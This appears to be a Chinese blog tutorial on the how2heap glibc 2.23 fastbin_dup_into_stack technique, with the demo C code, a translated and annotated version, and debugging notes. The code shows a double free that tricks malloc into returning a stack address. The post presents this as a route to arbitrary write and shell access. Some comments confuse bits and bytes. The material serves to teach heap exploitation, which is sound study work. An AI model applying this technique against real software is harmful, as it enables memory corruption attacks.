how2heap—glibc 2.23—fastbin_dup_into_stack

一、how2heap源代码仓库

        参考链接:how2heap

二、源C代码

#include <stdio.h>
#include <stdlib.h>

int main()
{
	fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
	       "returning a pointer to a controlled location (in this case, the stack).\n");

	unsigned long long stack_var;

	fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

	fprintf(stderr, "Allocating 3 buffers.\n");
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	fprintf(stderr, "1st malloc(8): %p\n", a);
	fprintf(stderr, "2nd malloc(8): %p\n", b);
	fprintf(stderr, "3rd malloc(8): %p\n", c);

	fprintf(stderr, "Freeing the first one...\n");
	free(a);

	fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	fprintf(stderr, "So, instead, we'll free %p.\n", b);
	free(b);

	fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
		"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
	unsigned long long *d = malloc(8);

	fprintf(stderr, "1st malloc(8): %p\n", d);
	fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
	fprintf(stderr, "Now the free list has [ %p ].\n", a);
	fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
		"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
		"so that malloc will think there is a free chunk there and agree to\n"
		"return a pointer to it.\n", a);
	stack_var = 0x20;

	fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
	*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

	fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
	fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

三、个人翻译

//gcc -o middle_double_free -g middle_double_free.c
#include <stdio.h>
#include <stdlib.h>

int main()
{
	fprintf(stderr, "这段代码是对 fastbin_dup.c 文件中 double free 利用的拓展 \n"
	       "返回一个指向被控区域的指针 (在这个案例中, 被控区域是栈).\n");

	unsigned long long stack_var;

	fprintf(stderr, "我们目标被控区域的地址是 %p.\n", 8+(char *)&stack_var);

	fprintf(stderr, "申请三个堆块.\n");
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	fprintf(stderr, "第一个堆块 malloc(8): %p\n", a);
	fprintf(stderr, "第二个堆块 malloc(8): %p\n", b);
	fprintf(stderr, "第三个堆块 malloc(8): %p\n", c);

	fprintf(stderr, "释放第一个堆块...\n");
	free(a);

	fprintf(stderr, "如果我们再次释放第一个堆块 %p , 程序将会崩溃 , 因为 %p 位于空闲堆块链表的首部.\n", a, a);
	// free(a);

	fprintf(stderr, "所以我们先释放第二个堆块 %p.\n", b);
	free(b);

	fprintf(stderr, "现在我们可以再次释放第一个堆块 %p , 此时第一个堆块就不在空闲堆块链表的首部了.\n", a);
	free(a);

	fprintf(stderr, "现在我们的空闲堆块链表中有:\n\t[ %p, %p, %p ]. "
		"\n我们现在将执行我们的攻击用于修改 %p 地址处的数据.\n", a, b, a, a);
	unsigned long long *d = malloc(8);

	fprintf(stderr, "第一个堆块 malloc(8): %p\n", d);
	fprintf(stderr, "第二个堆块 malloc(8): %p\n", malloc(8));
	fprintf(stderr, "现在空闲堆块链表中剩余 [ %p ].\n", a);
	fprintf(stderr, "现在我们可以使用第一个堆块 %p 同时它还存在在空闲链表的首部.\n"
		"所以现在我们向栈中写入一个假的 free chunk size (在这个案例中: 0x20) ,\n"
		"这样 malloc 会认为那里有一个 free chunk 并同意\n"
		"返回一个指向它的指针.\n", a);
	stack_var = 0x20;

    //这句有点不会翻译,我就按我的话来说一遍
    //Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.
	fprintf(stderr, "现在我们在 %p 正确指向之前覆盖了它的首 8 字节数据为 0x20 \n", a);
    //stack_var这个变量在栈上,修改它的值为 0x20 , 搭配后面那句 *d = 
    //整体就是将 d 指向的第一个 chunk 的 fd 字段值修改为 stack_var 这个变量的地址的前 64 字节
    //效果是使 d 指向的第一个 chunk 在空闲链表中的后继空闲 chunk 变成位于栈上的 
    //fake chunk , 同时 fake chunk 的 size 字段为 0x20
    //详细解析看第四大点

	*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));    
    //Prev_Size 字段占64字节,long long 占64字节,Prev_size 用于标识 chunk 的位置
    //换句话说就是指向 chunk 的指针,指向的是 chunk 的 Prev_size 字段
    //所以 - sizeof(d) 的意思是将0x20的前64字节作为Prev_size,
    //这样 Size 字段就变成了栈上存储着 0x20 数据的地址,Size 字段占64字节

	fprintf(stderr, "第三个堆块 malloc(8): %p, 将栈上的 fake chunk 放入空闲堆块列表中\n", malloc(8));
	fprintf(stderr, "第四个堆块 malloc(8): %p\n", malloc(8));
}

四、调试

1、调试环境

 2、背景知识补充

①:alloced chunk

 ②:free chunk

 3、double free 原理简介

        我们利用 malloc 申请的 chunk 最开始是 alloced chunk ,当这个被申请的 chunk 被 free() 释放后,它不会被立即销毁,而是被放入相应的 bins 中并获得一些新的字段,在 fast bins 中会获得bk、与 fd 字段(fd 字段紧邻 Size 字段,fd、bk字段与 Prev_size 、Size字段一样占据 64 bit = 8 字节)而 fd、bk 字段都是从 User_data 中分出来的,所以我们往一个 free chunk 中写入数据,会依次覆盖它的 fd、bk 字段,本案例代码就运用了修改 fd 为空闲 chunk 链表增加了一个后继 fake chunk (伪造的chunk) 。

        fd :指向了下一个(非物理相邻)空闲的chunk,其实也就是前一个被free的chunk

        bk :指向了上一个(非物理相邻)空闲的chunk,就是后一个被free的chunk

现在我们再来分析一遍代码:

①:删除多余的打印语句

#include <stdio.h>
#include <stdlib.h>

int main()
{
	unsigned long long stack_var;

    //申请三个堆块
	int *a = malloc(8);    //最小堆块0x20,小于0x20按0x20分配
	int *b = malloc(8);    //所以malloc(8); 实际上是malloc(0x20);
	int *c = malloc(8);

    //free a、b、a 达成 double free
	free(a);
	free(b);
    free(a);

    //申请到第一个 free chunk a
	unsigned long long *d = malloc(8);

    //申请到 free chunk b
	fprintf(stderr, "第二个堆块 malloc(8): %p\n", malloc(8));    //malloc(8);

    //栈上的变量值赋值为0x20
	stack_var = 0x20;

    //*d表示 free chunk a 的地址,往 a 的 user_data 段写入 stack_var 的地址 - 8 个字节
	*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));    

	fprintf(stderr, "第三个堆块 malloc(8): %p, 将栈上的 fake chunk 放入空闲堆块列表中\n", malloc(8));    //malloc(8);
	fprintf(stderr, "第四个堆块 malloc(8): %p\n", malloc(8));    //malloc(8);
}

②:*d = (unsigned long long) (((char*)&stack_var) - sizeof(d)); 

    *d 表示 free chunk a 的地址,往 a 的 user_data 段写入 stack_var 的地址 - 8 个字节

        a 的 user_data 段的前 8 个字节是 a 的 fd 字段,用于指向下一个被 free 的 chunk

        这里实现的效果是将 a 的 fd 字段覆盖为 stack_var 的地址 - 8 个字节

        也就是 a 的下一个 free chunk 在栈上,在栈上伪造了一个 fake chunk

    stack_var 的地址 - 8 个字节表示 fake chunk 的 Prev_size 字段 

        也就是将 stack_var 的地址作为 fake chunk 的 Size 字段的地址

        stack_var 的地址存的是 stack_var 的值:0x20,也就是 fake chunk 的 Size 值为 0x20

        刚好能通过 Size 大小的检查,使程序不会崩溃

③:fprintf(stderr, "第四个堆块 malloc(8): %p\n", malloc(8)); 

第三个堆块 malloc(8): 0x24c9010, 将栈上的 fake chunk 放入空闲堆块列表中
第四个堆块 malloc(8): 0x7ffdb6a1a5a8

        最后一个堆块的地址在栈上也就说明了 fake chunk 伪造成功

4、调试过程

①:依次 free a、b、a 

②:申请第一个 a 给 d ,奇怪的是 fastbins 没变还是 a、b、a,按理来说只剩 b、a

 ③:malloc(),把空闲 chunk b malloc掉,按理来说 fastbins 只剩a

⑥:stack_var 赋值(fake chunk 的 Size 字段)

⑦:废话写多了 *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));  没显示出来

此时可以看到 fastbins 已经变得奇怪了,出现了一个在栈上的堆块,我们知道程序正常运行的话这基本是不会出现的,此时 fastbins 剩余 a、fakechunk、?

⑧:后面没什么说的了,就是两个 malloc 依次把 a、fakechunk 申请掉

5、小结

        假入我们像 *d 指向 a 那样,用一个指针指向 fake chunk,然后利用这个指针向 fake chunk中写入任意数据,就可以实现任意地址写,利用任意地址写可以大大降低 getshell 的难度 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值